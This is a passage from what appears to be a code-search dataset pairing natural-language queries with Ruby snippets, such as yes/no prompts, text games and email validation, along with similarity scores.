bad_excuse = \"This isn't good!\"\n\n if danger_level > 50\n p bad_excuse\n elsif danger_level < 50 && danger_level > 10\n p save_the_day\n else\n p \"Meh. Hard pass.\"\n end\nend", "def change_happiness(ans)\n if ans == \"YES\"\n @happiness = true\n puts \"#{first_name} is happy!\"\n elsif ans == \"NO\"\n @happiness = false\n puts \"#{first_name} is sad.\"\n else\n puts \"Type yes or no.\"\n end\n end", "def assess_situation(number, announcement, excuse)\n if number == 99\n puts \"#{excuse}\"\n elsif number == 21\n puts \"#{announcement}\"\n else number == 3\n puts \"Meh. Hard Pass\"\n end\nend", "def assess_situation(danger_level, save_the_day, bad_excuse)\n if danger_level >= 50\n p bad_excuse\n elsif danger_level <= 10\n p \"Meh, Hard pass.\"\n else\n p save_the_day\n end\nend", "def other_options\n puts \"\\nWould you like to see another recipe?\\nPlease enter 'Yes' or 'No':\"\n\n input = \"\"\n while input\n input = gets.strip.upcase\n case input\n when \"YES\"\n return true\n when \"NO\"\n puts \"\\nEnjoy your meal!\"\n return false\n else\n puts \"\\nPlease enter 'Yes' or 'No'.\"\n end\n end\n end", "def camp\n puts \"You're at your camp #{$name}what will you do?\n \\n1: cook\\n2: rest\\n3: stare into the sky\\n4: quit the game\\n5: venture into the forest\"\n answer1 = (gets).to_i\n\n#cook option\n if answer1 == 1\n puts \"Are you Vegan?\\n1: yes\\n2: no\"\n vegan = (gets).to_i\n if vegan == 1\n puts \"There are only animals around\\nyou find the idea detestable.\"\n are_vegan = true\n elsif vegan == 2\n puts \"You cook up a raspberry.\"\n else\n puts \"yes was the only real option.\"\n are_vegan = true\n end\n\n#rest option\n elsif answer1 == 2\n if $day_time == true\n puts \"it's too bright out to sleep.\"\n else\n puts \"you're too distracted by your thoughts\\nit's daytime before you know it.\"\n $day_time = true\n end\n\n#stare option\n elsif answer1 == 3\n if $day_time == true\n puts \"You're eyes hurt\"\n elsif $day_time == false\n puts \"The stars look lovely tonight.\"\n else\n puts \"You decided against it in the end.\"\n end\n\n#quit option\n elsif answer1 == 4\n puts \"Are you sure?\\n1: yes\\n2: no\"\n @answer = (gets).to_i\n if @answer == 1\n $in_campt = false\n exit(0)\n elsif @answe == 2\n puts \"all right\"\n else\n puts \"all right\"\n end\n\n#forest option\n elsif answer1 == 5\n puts \"Off you go.\"\n $in_camp = false\n $in_forest = true\n forest\n#default to forest\n else\n puts \"off you go then.\"\n $in_camp = false\n $in_forest = true\n forest\n end\n\nend", "def confirm_input(loan_amt, annual_rate, loan_duration_in_years)\n puts prompt(:confirmation).sub('{loan_amt}', add_commas(loan_amt.to_s))\\\n .sub('{annual_rate}', annual_rate.to_s)\\\n .sub('{loan_duration}', loan_duration_in_years.to_s)\n gets.chomp\nend", "def assess_situation(danger_level, save_the_day, bad_excuse)\n danger_level = 100\n save_the_day = \"Fear not mortals I am here!\"\n bad_excuse = \"I'm sore from lifting all day bro.\"\n# Your function should include an if/else statement that meets the following criteria\n# - Danger levels that are above 50 are too scary for your hero. Any danger level that is above 50 should result in printing the bad_excuse to the terminal\n# - Anything danger_level that is between 10 and 50 should result in printing the save_the_day string to the terminal\n# - If the danger_level is below 10, it means it is not worth your time and should result in printing the string \"Meh. Hard pass.\" to the terminal.\n if danger_level > 50\n puts \"#{bad_excuse}\"\n elsif danger_level > 10 && danger_level < 50\n puts \"#{save_the_day}\"\n else danger_level < 10\n puts \"Meh. Hard pass.\"\n end\nend", "def suggest_possibility\n puts \"\"\n puts Rainbow(\"*\").blue * 70\n puts \"\"\n puts \"\"\n puts \"\"\n self.possibility = self.user.suggest_random_possibility(self.limit_time, self.limit_place)\n puts \"\"\n puts \"\"\n puts Rainbow(\"#{self.possibility.name}: #{self.possibility.description}\").bright.underline\n puts \"\"\n puts \"\"\n self.possibility.possibility_stats(user.id)\n puts \"\"\n puts \"\"\n self.accept_or_reject\n end", "def assess_situation(d, s, b)\n danger_level = d\n save_the_day = s\n bad_excuse = b\n if danger_level > 50\n puts \"#{bad_excuse}\"\n elsif danger_level <= 50 && danger_level >= 10\n puts \"#{save_the_day}\"\n else\n puts \"Meh. Hard pass.\"\n end\nend", "def x__confirm(message='y(es) or no? ')\n print message\n e_confirm = STDIN.gets.chomp\n case e_confirm\n when /\\Ay(es)?\\z/i\n true\n else\n false\n end\n end", "def get_fortune\r\n\t\trandomNo = 1 + rand(10)\r\n\t\t\r\n\t\t#Assign an answer based on the randomly generated\r\n\t\t#number\r\n\t\tcase randomNo\r\n\t\t\twhen 1\r\n\t\t\t\t$predicition = \"yes\"\r\n\t\t\twhen 2\r\n\t\t\t\t$predicition = \"no\"\r\n\t\t\twhen 3\r\n\t\t\t\t$predicition = \"maybe\"\r\n\t\t\twhen 4\r\n\t\t\t\t$predicition = \"hard to tell. Try again\"\r\n\t\t\twhen 5\r\n\t\t\t\t$predicition = \"unlikely\"\r\n\t\t\twhen 6\r\n\t\t\t\t$predicition = \"unknown\"\r\n\t\t\twhen 7\r\n\t\t\t\t$predicition = \"ask again later\"\r\n\t\t\twhen 8\r\n\t\t\t\t$predicition = \"hazy try again\"\r\n\t\t\twhen 9\r\n\t\t\t\t$predicition = \"better not tell you now\"\r\n\t\t\twhen 10\r\n\t\t\t\t$predicition = \"concentrate and ask again\"\r\n\t\tend\r\n\tend", "def feeling\n\n @emotion.each do | emotion, degree|\n if degree === 1\n p \"I am feeling low amount of #{emotion}\"\n elsif degree == 2\n p \"I am feeling medium amount of #{emotion}\"\n elsif degree == 3\n p \"I am feeling high amount of #{emotion}\"\n end\n end\n\n\n end", "def confirm(prompt); end", "def success_case\n\tputs \" - Ok #{@name}, c'est ton choix #{@answer_play}\" \n\tputs \" \"\n end", "def feedback\n # check to see if correct is true\n if correct?\n # if correct is true return \"Correct!\"\n \"Correct!\"\n # or else return \"Incorrect.\"\n else\n \"Incorrect.\"\n end\n end", "def continue?\n if self.suggest_another == \"1\"\n self.suggest_possibility\n elsif self.suggest_another == \"2\"\n self.where_are_you_at?\n elsif self.suggest_another == \"3\"\n exit\n end\n end", "def test_both_players_exceed_defcon\n scenario us: 4, ussr: 5, defcon: 3\n assert_no_award\n end", "def another_pet\n\t\tputs \"Would you like to see another pet?\"\n\t\tanswer = gets.chomp.downcase\n\t\tcase answer \n\t\t\twhen \"yes\" then adopt(Pet.new)\n\t\t\twhen \"no\"\n\t\t\t\tputs \"Here is a copy of your adoption records.\"\n\t\t\t\tputs $record_keeper\n\t\t\telse\n\t\t\t\tputs \"Pardon?\"\n\t\t\t\tanother_pet\n\t\tend\n\tend", "def assess_situation(danger_level, save_the_day, bad_excuse)\n# Your function should include an if/else statement that meets the following criteria\n# - Danger levels that are above 50 are too scary for your hero. Any danger level that is above 50 should result in printing the bad_excuse to the terminal\n# - Anything danger_level that is between 10 and 50 should result in printing the save_the_day string to the terminal\n# - If the danger_level is below 10, it means it is not worth your time and should result in printing the string \"Meh. Hard pass.\" to the terminal.\n if danger_level > 50\n p bad_excuse\n elsif danger_level > 10\n p save_the_day\n else\n p \"Meh, hard pass.\"\n end\nend", "def check_dog\n if @vaccinated && @wormed\n \"#{@name} can be accepted\"\n elsif @vaccinated || @wormed\n \"#{@name} can only be accepted by itself\"\n else\n \"#{@name} can not be accepted\"\n end\nend", "def passive_voice_indicative_mood_future_tense\n end", "def active_voice_subjunctive_mood_present_tense\n return @proxyVerb.send :active_voice_subjunctive_mood_present_tense\n end", "def correct_answer(x)\n \t return true if x =~ /Empate: /\n \t \n return true if x =~ /Gana maquina. Maquina (\\w+) versus Jugador (\\w+)/ and RockPaperScissors.defeat[$1.to_sym] == $2.to_sym\n return true if x =~ /Bien, gana el jugador. Jugador: (\\W+) versus Maquina: (\\w+)/ and RockPaperScissors.defeat[$1.to_sym] == $2.to_sym\n \tend", "def tell_the_truth(options={})\n if options[:profession] == :lawyer\n 'i cant'\n else\n true\n end\nend", "def test_pick_accusation_suspect\n puts \" testing\"\n player = Player.new\n assert_equal( \"Got it.\", player.pick_accusation_suspect(true, \"Mrs. White\") )\n assert_equal(\"Mrs. White\", player.accusation_suspect)\n assert_equal(\n \"Whaaa...??? That's not one of the suspects! Come on man!\", \n player.pick_accusation_suspect(true, \"ai 87 00\")\n )\n end", "def gift_verb(fulfillment)\n if fulfillment.quantity > 1\n \"were\"\n else\n \"was\"\n end\nend", "def fortune\n rando_fortune = 1 + rand(20) ##Generate random number from 1-20\n\ncase rando_fortune ##Assign fortunes to case statement numbers\n when 1\n answer = \"It is certain\"\n when 2\n answer = \"It is decidedly so\"\n when 3 \n answer = \"Without a doubt\"\n when 4\n answer = \"Yes definitely\"\n when 5\n answer = \"You may rely on it\"\n when 6 \n answer = \"As I see it, yes\"\n when 7 \n answer = \"Most likely\"\n when 8 \n answer = \"Outlook good\"\n when 9 \n answer = \"Yes\"\n when 10 \n answer = \"Signs point to yes\"\n when 11\n answer = \"Reply hazy try again\"\n when 12\n answer = \"Ask again later\"\n when 13\n answer = \"Better not tell you now\"\n when 14 \n answer = \"Cannot predict now\"\n when 15 \n answer = \"Concentrate and ask again\"\n when 16 \n answer = \"Don't count on it\"\n when 17 \n answer = \"My reply is no\"\n when 18 \n answer = \"My sources say no\"\n when 19 \n answer = \"Outlook not so good\"\n when 20\n answer = \"Very doubtful\"\nend\n \nend", "def confirm_with_user\n confirmed = Helper::Util.confirm \"Is this OK? \", true\n return if confirmed\n\n loop do\n Helper::Util.clear\n\n print_identification\n\n say \"<%= color('The following options may be adjusted before continuing.', BOLD) %>\"\n choice = choose do |menu|\n self.class.available_options.reject(&:skip_confirmation).each do |option|\n value = send option.confirm_symbol\n menu.choice \"#{option.label}: #{option.display_value(value)}\"\n end\n\n menu.choice \"Accept and continue\"\n menu.choice \"Quit\"\n menu.readline = true\n menu.prompt = \"What would you like to do?\"\n end\n\n Helper::Util.clear\n\n print_identification\n\n if (option = self.class.available_options.find { |o| choice =~ /^#{Regexp.quote(o.label)}/ })\n loop do\n break if prompt_for_option(option)\n say \"Invalid value for option.\\n\\n\"\n end\n elsif choice =~ /^Accept/\n log\n return\n else\n exit(0)\n end\n end\n end", "def opinion\n success = false\n feedback_id = params[:feedback_id]\n\n if @authorized and @commenter and !@admin\n unless (feedback_id.to_i <= 0)\n case params[:opinion]\n when /^agreed?$/\n @commenter.agree(feedback_id)\n success = true\n when /^disagreed?$/\n @commenter.disagree(feedback_id)\n success = true\n end\n end\n end\n\n respond_to do |wants|\n wants.html do\n @json_data = {:authorized => @authorized, :admin => @admin, :success => success,\n :feedback_id => feedback_id, :opinion => params[:opinion]}.to_json\n render :template => 'widget/feedbacks/new_feedback_for_page'\n end\n end\n end", "def confirm_recognition\n \n # Current state of the action\n is_success = false\n \n message = \"\"\n \n # Get pending recognition linked to face\n pending_recognition = @face.pending_recognition\n \n \n # Only the user can confirm its own recognised face\n if !pending_recognition.nil? && @user.id == pending_recognition.user.id\n \n # Confirm the pending recognition\n pending_recognition.confirm\n \n # Action was a success\n success = true\n \n # Notice message\n message = \"A face was confirmed as being yours\"\n \n else\n \n # Notice message\n message = \"You do not have the right to confirm this face\"\n \n end\n \n flash[:notice] = message\n \n respond_to do |format|\n format.html { redirect_to :back }\n format.json { render :json => { :success => success, :message => message } }\n end\n \n end", "def test_both_players_level_and_exceed_defcon\n scenario us: 4, ussr: 4, defcon: 3\n assert_no_award\n end", "def tell_the_truth(options={})\n if options[:profession] == :lawyer\n 'it could be believed that this is almost certainly not false'\n else\n true\n end\nend", "def user_mood_params\n params.require(:user_mood).permit(:user_id, :mood_id, :feeling)\n end", "def active_voice_indicative_mood_future_tense\n end", "def what_is_ur_objective(sender_id)\n Bot.on :message do |message|\n answer = message.text.downcase\n if answer.include?(\"non\")\n say(sender_id, \"Okay ! N'hésite pas à revenir si tu as besoin d'aide !\")\n else\n say(sender_id, IDIOMS[:objectives], OBJECTIVES)\n handle_objective(sender_id)\n end\n end\nend", "def good_boy\n puts \"Are you a good boy?! (Yes/No)\"\n input = gets.chomp\n if input == \"Yes\"\n puts \"Yes you are! Here's a treat!\"\n else\n puts \"That's right, you're a *great* boy!! Have a treat!!\"\n end\n end", "def result(you, them, win_lose_or_draw)\n end", "def turnon()\n puts \"You put ingredients in the blender.\"\n puts \"Would you like to turn the blender on? If so type 'Yes'\"\n prompt = gets.chomp.downcase\n\n # Until loop prompts for correct \"Yes\"/\"yes\" answer or keeps asking\n until prompt == \"yes\"\n puts \"Sure you don't want to push 'Yes'?\"\n prompt = gets.chomp.to_s.downcase \n end\n # If until loop passed, run outcome method which then runs puts blend method\n outcome \n end", "def view_another?\n yesno = gets.chomp.to_s\n if yesno == \"yes\"\n display_titles\n ask_for_movie_choice\n elsif yesno == \"no\"\n puts \"Thanks for using paste top anime movies CLI, come back soon!\"\n else\n puts \"please put in a valid answer of yes or no\"\n view_another?\n end\n end", "def active_voice_indicative_mood_futureperfect_tense# {{{\n substem = first_person_perfect[0..-2]\n return TenseBlock.new [Linguistics::Latin::Verb::LatinVerb::APERF_FUTURE_ENDINGS.collect{|x| substem+x}].flatten,\n { :meaning => Linguistics::Latin::Verb::LatinVerb::MEANINGS[:active_voice_indicative_mood_futureperfect_tense] }\n end", "def determine_exp_or_pot(candidate)\n\tputs \"Which is more important for this position: experience or potential('e' or 'p')? \"\n\texp_or_pot = gets.chomp\n\tif exp_or_pot == \"e\"\n\t\texp_or_pot = 5*candidate.convert_to_val('experience')\n\telsif exp_or_pot == \"p\"\n\t\texp_or_pot = 5*candidate.convert_to_val('has_potential')\n\telse\n\t\tprob_found\n\t\tdetermine_exp_or_pot(candidate)\n\tend\t\nend", "def can_go_on_ride(age, height, boss_son)\n if age >= 18 && height >= 120 || boss_son == true\n return \"Enter the ride\"\n else\n return \"Sorry!\"\n end\n\n\n\nend", "def assess_situation(danger_level, save_the_day, bad_excuse)\n\n if danger_level > 50\n puts bad_excuse\n elsif danger_level > 10 && danger_level < 50\n puts save_the_day\n else\n puts \"Meh. Hard pass.\"\n end\nend" ]
[ "0.66450334", "0.6400529", "0.62736136", "0.62602985", "0.6254086", "0.62043893", "0.6188759", "0.61202973", "0.6102706", "0.6100484", "0.60802263", "0.6074935", "0.60642534", "0.6056229", "0.60277253", "0.59890866", "0.59468627", "0.5888301", "0.5876436", "0.5869608", "0.58581084", "0.583721", "0.5831516", "0.58270043", "0.58168095", "0.5787194", "0.5771536", "0.5766529", "0.5765916", "0.5755994", "0.5732339", "0.5686019", "0.5655309", "0.5648717", "0.5647391", "0.5645887", "0.56361556", "0.5614401", "0.55997384", "0.5594375", "0.55790347", "0.5550776", "0.55483586", "0.55480313", "0.5542468", "0.55290985", "0.5520698", "0.55198866", "0.55171704", "0.551345", "0.55043817", "0.54982877", "0.5486803", "0.5486742", "0.5483029", "0.5479665", "0.5478657", "0.54737514", "0.5469782", "0.5468819", "0.5454355", "0.54406404", "0.54386145", "0.5422867", "0.5421745", "0.5411988", "0.54099816", "0.5407257", "0.54072285", "0.5400807", "0.5400558", "0.5399357", "0.5398598", "0.5393906", "0.5393669", "0.538592", "0.53840834", "0.53711915", "0.5370937", "0.5369429", "0.53629476", "0.5353868", "0.53513914", "0.5349213", "0.53458047", "0.5341531", "0.53363276", "0.5334674", "0.5333187", "0.5331999", "0.53264534", "0.53253746", "0.5319769", "0.53169465", "0.53076565", "0.5304725", "0.5299085", "0.5295452", "0.5293703", "0.52857524" ]
0.65158516
1
Get valid email address
def get_email() email_regex = /\A([\w+\-].?)+@[a-z\d\-]+(\.[a-z]+)*\.[a-z]+\z/i user_email = "" loop do puts "\nEnter your email address to receive scraped data:" user_email = gets.chomp break if email_regex.match? user_email puts "Sorry, it's an invalid email address." end return user_email end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def match_email( val )\n\t\tmatch = RFC822_EMAIL_ADDRESS.match( val )\n\t\tself.log.debug \"Validating an email address %p: %p\" %\n\t\t\t[ val, match ]\n\t\treturn match ? match[0] : nil\n\tend", "def get_email_address\n response = get_current_user_meta('email')\n email = response['query']['userinfo']['email']\n return if email == ''\n\n email\n end", "def email_address_is_valid\n email_regex = /\\A([\\w+\\-].?)+@[a-z\\d\\-]+(\\.[a-z]+)*\\.[a-z]+\\z/\n if email.present? && email[email_regex].nil?\n errors.add(:email, \"is not valid\")\n end\n end", "def email_address\n authentications.emails.active.first.uid rescue nil\n end", "def email\n if md = RE_EMAIL.match(contact.to_s)\n md[0]\n else\n nil\n end\n end", "def email_format\n\t\terrors.add(:email, :invalid) unless email.match(EMAIL_REGEXP)\n\tend", "def valid_email\n unless self.email =~ /\\w+@\\w+\\.\\w{2,}/\n errors.add(:email, \"is not valid.\")\n end\n end", "def email_address\n get_attribute(Yoti::Attribute::EMAIL_ADDRESS)\n end", "def valid_email\n addr = Mail::Address.new(email)\n throw StandardError if [addr.local, addr.domain].include?(nil)\n rescue\n errors.add(:email, \"must be a valid email address\")\n end", "def email_name\n @email_name || if self[:email]\n split_host = URI.parse(\"#{self[:email]}\").path.split('@')\n \"#{split_host.first}\" if 2 == split_host.size\n end\n rescue URI::InvalidURIError\n nil\n end", "def email_validate\n if !normalized_email.include? '@'\n puts \"Invalid e-mail address entered #{normalized_email}\"\n else\n true\n end\n end", "def email_address\n api(\"EmailAddress\")\n end", "def validEmail(input)\n return input.match(/\\A[\\w+\\-.]+@[a-z\\d\\-.]+\\.[a-z]+\\z/i)\n end", "def email\n pull unless @details\n begin\n return @details.email_address.address\n rescue\n return nil\n end\n end", "def is_valid?(address)\n address.match?(EMAIL_REGEX)\n end", "def email_address\n return @email_address\n end", "def email_address\n return @email_address\n end", "def email\n match(/Email\\s+:\\s+([^\\s]+)/)\n end", "def validateEmail\n email_check = email.include?(\"@\") && email.split(\"@\")[1].include?(\".\")\n if email_check == false\n errors.add(:email, 'Invalid email address')\n end\n email_check\n end", "def email_address\n response = get 'v1/market/private/user/email.json'\n response[:email]\n end", "def email_check\n if !email =~ /^([^@\\s]+)@((?:[-a-z0-9]+\\.)+[a-z]{2,})$/i\n errors.add :base, \"Email is in an invalid format.\"\n end\n end", "def email_without_domain\n if email =~ /(^[^@]+)@/\n $1\n else\n email\n end\n end", "def email_without_domain\n if email =~ /(^[^@]+)@/\n $1\n else\n email\n end\n end", "def determine_email\n return email[-7..-1] == \"uga.edu\" # this should be a constant\n end", "def parse_email(s)\n e = Mail::Address.new(s)\n (s == '' || e.address != s || e.local == e.address) ? nil : e\nend", "def email_domain\n domain = email.split(\"@\").last.downcase\n if !email.blank?\n errors.add(:email, \"Invalid Domain- Please provide valid Grinnell email\") if domain != \"grinnell.edu\"\n end\n end", "def from_email\n EmailAddress.find(:all).first\n end", "def email_address\n require \"mail\"\n address = Mail::Address.new email\n address.display_name = name.dup\n address.format\n end", "def email\n return unless @user.loa3?\n\n value_for('emails')&.first\n end", "def validate_email(email)\n #^([a-zA-Z0-9_\\-\\.]+)@((\\[[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}\\.)|(([a-zA-Z0-9\\-]+\\.)+))([a-zA-Z]{2,4}|[0-9]{1,3})(\\]?)$\n # accepts RFC 2822 email addresses:\n #^((?>[a-zA-Z\\d!#$%&'*+\\-/=?^_`{|}~]+\\x20*|\"((?=[\\x01-\\x7f])[^\"\\\\]|\\\\[\\x01-\\x7f])*\"\\x20*)*(?<angle><))?((?!\\.)(?>\\.?[a-zA-Z\\d!#$%&'*+\\-/=?^_`{|}~]+)+|\"((?=[\\x01-\\x7f])[^\"\\\\]|\\\\[\\x01-\\x7f])*\")@(((?!-)[a-zA-Z\\d\\-]+(?<!-)\\.)+[a-zA-Z]{2,}|\\[(((?(?<!\\[)\\.)(25[0-5]|2[0-4]\\d|[01]?\\d?\\d)){4}|[a-zA-Z\\d\\-]*[a-zA-Z\\d]:((?=[\\x01-\\x7f])[^\\\\\\[\\]]|\\\\[\\x01-\\x7f])+)\\])(?(angle)>)$\n end", "def check_email\n self.email_address=~/^([^@\\s]+)@((?:[-a-z0-9]+\\.)+[a-z]{2,})$/i if email_address\n end", "def verify_contact_address\n unless contact_address =~ /\\A([^@\\s]+)@((?:[-a-z0-9]+\\.)+[a-z]{2,})\\z/i\n errors.add(:contact_address, \"is not an email address\")\n end\n end", "def email_domain\n \tdomain = email.split('@').last\n \tif domain != \"ship.edu\"\n \t\terrors.add(:email, \"Must Use Your School Email (@ship.edu)\")\n \tend\n end", "def email_address\n raw_info['email_addresses'] && raw_info['email_addresses'].first\n end", "def valid_email_address?(addr)\n addr =~ /^([\\w\\d]+([\\w\\d\\!\\#\\$\\%\\&\\*\\+\\-\\/\\=\\?\\^\\`\\{\\|\\}\\~\\.]*[\\w\\d]+)*@([\\w\\d]+\\.)+[\\w]{2,})$/\n end", "def email_domain\n if !self[:email].blank?\n split_host = URI.parse(\"#{self[:email]}\").path.split('@')\n \"#{split_host.last}\" if 2 == split_host.size\n else\n self.organization.site_domain if self.organization\n end\n rescue URI::InvalidURIError\n nil\n end", "def email_address\n element_with_value('EMailAddress', opts[:email_address].to_s[0..50])\n end", "def valid_email\n email_regex = !!(cas_email =~ /^[\\w+\\-.]+@[a-z\\d\\-]+[\\.[a-z\\d\\-]+]*\\.edu/i)\n errors.add :cas_email, I18n.t('users.valid_email') unless email_regex\n end", "def email\n find_by_type('email')\n end", "def validate_email\n if !self.email.match(/\\A#{ApplicationHelper.form_field_attr('email')[:regex]}\\Z/i)\n self.errors.add(:email, \"#{ApplicationHelper.form_field_attr('email')[:generic]}\")\n end\n end", "def email_regex\n /^[a-zA-Z][\\w\\.-]*[a-zA-Z0-9]@[a-zA-Z0-9][\\w\\.-]*[a-zA-Z0-9]\\.[a-zA-Z][a-zA-Z\\.]*[a-zA-Z]$/\n end", "def extract_email_address(email)\n # Check for <@> pattern and extract\n result = email[/<.+@.+>/]\n if result.nil?\n # If not found, return original email address for further validation\n return email\n else\n # If found return address minus the <> and leading/trailing spaces\n return result.gsub(/[<>]/,'<' => '', '>' => '').strip\n end\n end", "def email_is_valid?(email)\n email =~ /[^@ \\t\\n\\r]+@[a-zA-Z0-9\\.-]{3,}$/\n end", "def validate_email\n return if self.email.blank?\n errors.add(:email, :not_a_valid_email) if !Valid.email?(self.email)\n end", "def validate_email(value)\n # For email length, the source was:\n # http://www.rfc-editor.org/errata_search.php?rfc=3696&eid=1690\n #\n # Optionally we could force DNS lookups using ValidatesEmailFormatOf\n # by sending validate_email_format special options after the value\n # such as mx=true (see gem's github), however, this requires dns\n # availability 24/7, and we'd like this system to work a little more\n # independently, so for now simply check against the RFC 2822,\n # RFC 3696 and the filters in the gem.\n return true if (ValidatesEmailFormatOf::validate_email_format(value).nil? and\n value.to_s.length < MAX_EMAIL_LENGTH ) #ok\n return false #fail\n end", "def validate_email\n return error_with_identifier('invalid_api_params',\n 'um_u_c_ve_1',\n ['invalid_email']\n ) unless Util::CommonValidateAndSanitize.is_valid_email?(@email)\n\n success\n end", "def normalize_email(email)\n raise \"E-mail address is blank\" if email.blank?\n raise \"Invalid e-mail address\" unless Authentication.email_regex =~ email\n email.strip\n end", "def me_user_email\n email = Email.find_primary(me).take if auth?\n email.email || ''\n end", "def validate_email(value)\n # For email length, the source was:\n # http://www.rfc-editor.org/errata_search.php?rfc=3696&eid=1690\n #\n # Optionally we could force DNS lookups using ValidatesEmailFormatOf\n # by sending validate_email_format special options after the value\n # such as mx=true (see gem's github), however, this requires dns\n # availability 24/7, and we'd like this system to work a little more\n # independently, so for now simply check against the RFC 2822,\n # RFC 3696 and the filters in the gem.\n return true if (ValidatesEmailFormatOf::validate_email_format(value).nil? and\n value.to_s.length < MAX_EMAIL_LENGTH ) #ok\n return false #fail\n end", "def valid_email_address?( value )\n begin\n parsed = Mail::Address.new(value)\n return parsed.address == value && parsed.local != parsed.address\n rescue Mail::Field::ParseError\n return false\n end\n end", "def valid_email_address?( value )\n begin\n parsed = Mail::Address.new(value)\n return parsed.address == value && parsed.local != parsed.address\n rescue Mail::Field::ParseError\n return false\n end\n end", "def is_valid_email? email\n\temail =~ VALID_EMAIL_REGEX\nend", "def email_validator(user_email)\n EmailValidator.regexp\n EmailValidator.valid?(user_email)\n end", "def with_placeholder_email?\n email.match(/.*@example.org$/).to_b\n end", "def return_email_domain \n return \"@\" + self.email.split('@')[1]\n end", "def email_validator\n [\n ActiveModel::Validations::FormatValidator,\n {\n :allow_blank => true,\n :with => /\\A[^@\\s]+@[^@\\s]+\\.(\\S+)\\z/,\n :message => :invalid_email\n }\n ]\n end", "def is_email\n\t\treg_ex_pattern = /\\A([\\w+\\-].?)+@[a-z\\d\\-]+(\\.[a-z]+)*\\.[a-z]+\\z/i\n\t\tunless reg_ex_pattern.match?(email)\n\t\t\terrors.add(:email, \"must be a valid email\")\n\t\tend\n\tend", "def valid_email(email)\n return true if email =~ /\\A[\\w+\\-.]+@[a-z\\d\\-]+(\\.[a-z]+)*\\.[a-z]+\\z/\n false\nend", "def valid_email?(email)\n email.match(/^\\w+@\\w+\\.com$/)\nend", "def rfc_email\n \"\\\"#{full_name}\\\" <#{email}>\"\n end", "def email_address\n (email_addresses.where(primary: true).first || email_addresses.first).try(:email) ||\n current_address.try(:email) ||\n permanent_address.try(:email) ||\n user.try(:username)\n end", "def get_user_email\n useremail[:value]\n end", "def official_email\n @net_ldap_entry[:berkeleyeduofficialemail].first\n end", "def email\n\t\tif self.email_address\n\t\t\tself.email_address.email\n\t\telse\n\t\t\tself.user.email\n\t\tend\n\tend", "def validate(email)\n email.scan(/\\b(?:[\\w\\d\\S]+)@(?:[\\w\\d\\-\\.]){1,253}[\\.](?:[\\w]{2,5})\\b/).length > 0\nend", "def get_user_email\n unless auth_hash\n return nil if recaptcha_enabled? && !verify_recaptcha\n return params['email']\n end\n\n case auth_hash.provider\n when 'twitter'\n auth_hash.info.nickname\n when 'github'\n check_user_github_organizations ? auth_hash.info.email : nil\n else\n auth_hash.info.email\n end\n end", "def email?\n return false if blank?\n match(/\\A[^@\\s]+@([^@\\s]+\\.)+[^@\\s]+\\z/).present?\n end", "def enter_email\n email = ''\n until URI::MailTo::EMAIL_REGEXP.match?(email)\n print 'Enter a valid email address: >> '\n email = gets.chomp\n end\n email\n end", "def get_email(email)\n self.api_get(:email, {:email => email})\n end", "def email\n userid.try(:match, / <(.*@.*)>/).try(:[], 1)\n end", "def user_email\n msg['email'] || entry['email'] || reject['email']\n end", "def pattern_is_valid?\n address =~ /\\A([^@\\s]+)@((?:[-a-z0-9]+\\.)+[a-z]{2,})\\Z/i\n end", "def validate_email(email)\r\n email =~ /\\A[\\w+\\-.]+@[a-z\\d\\-.]+\\.[a-z]+\\z/i ?\r\n (return true) : (return false)\r\nend", "def check_format\n @@email_regex = /^(([A-Za-z0-9]+_+)|([A-Za-z0-9]+\\-+)|([A-Za-z0-9]+\\.+)|([A-Za-z0-9]+\\++))*[A-Z‌​a-z0-9]+@((\\w+\\-+)|(\\w+\\.))*\\w{1,63}\\.[a-zA-Z]{2,6}$/i\n res=(@address =~ @@email_regex)\n #puts \" res is #{res}\"\n if res\n [true,\"format ok\"]\n else\n [false,\"format failed\"]\n end\n end", "def is_valid_email? email\n /^[a-zA-Z]+\\.[1-9]\\d*@(buckeyemail\\.)?osu\\.edu$/.match? email\nend", "def email\n if self[:email] && !@email_name\n self[:email]\n elsif self.email_name && self.email_domain\n self[:email] = \"#{self.email_name}@#{self.email_domain}\"\n end\n end", "def ask_email\n ask(\"email: \") do |q|\n q.validate = email_regex\n q.responses[:not_valid] = \"<%= color('Email is not well formed', :red) %>\"\n end\n end", "def isValidEmail?(e)\n\treturn !(e =~ VALID_EMAIL_REGEX).nil?\nend", "def is_valid_email(str)\n return false if str.split(\"@\").length != 2 || str.split(\"@\")[1].split(\".\").length !=2\n username = str.split(\"@\")[0]\n domain = str.split(\"@\")[1].split(\".\")[0]\n dns = str.split(\"@\")[1].split(\".\")[1]\n username.each_char{|char| return false if char.ord < \"a\".ord}\n domain.each_char{|char| return false if char.ord < \"a\".ord}\n dns.each_char{|char| return false if char.ord < \"a\".ord}\n \n return true\n end", "def is_valid_email(str)\n parts = str.split(\"@\")\n \n if parts.length != 2\n return false\n end\n \n first = parts[0]\n second = parts[1]\n alpha = \"abcdefghijklmnopqrstuvwxyz\"\n \n first.each_char do |char|\n if !alpha.include?(char)\n return false\n end\n end\n \n if second.split('.').length == 2\n return true\n else\n return false\n end\n end", "def email_address(name=nil)\n Faker::Internet.email(name)\n end", "def mask_email_valid?\n unless self.mask_email =~ /\\A[a-z0-9._%-]+@#{Multiplex::Application::Domain}\\z/\n errors.add(:mask_email_name, \"must be valid, containing only letters, numbers, and . _ % or -.\")\n end\n end", "def get_domain_name_from_email_address(email)\nend", "def is_email_valid?(email)\n if email.include?(\".com\") && email.include?(\"@\")\n return true \n end\nend", "def valid_email?\n\t\tunless email.blank?\n\t\t\terr = domain_error(domain_of(email))\n\t\t\terrors.add(:email, err) unless err.blank?\n\t\tend\n\tend", "def email_address\n @data['emailAddress']\n end", "def email_addr_acceptable\n #start\n #@user_name = params[:user_name]\n return true\n end", "def is_valid_contact_email?(email)\n email.present? && email.strip =~ VALID_EMAIL_REGEX\n end", "def get_domain_name_from_email_address(email)\nemail.scan(/@(\\w+)/)[0].pop\nend", "def guess_email\n @guessed_email ||= begin\n e = `git config user.email`.strip\n # TODO: Guess based on hg and other possibile tools\n raise UnknownEmail, \"Email could not be obtained via git settings\" if e.empty?\n e\n end\n end", "def contact_email\n contact['email_address']\n end", "def valid_email?(email)\n (email =~ /\\A[\\w+\\-.]+@[a-z\\d\\-]+(\\.[a-z\\d\\-]+)*\\.[a-z]+\\z/i)\n end", "def is_valid_email(str)\r\n at = 0\r\n str.each_char do |char|\r\n if char == '@'\r\n at +=1\r\n end\r\n end\r\n if at != 1\r\n return 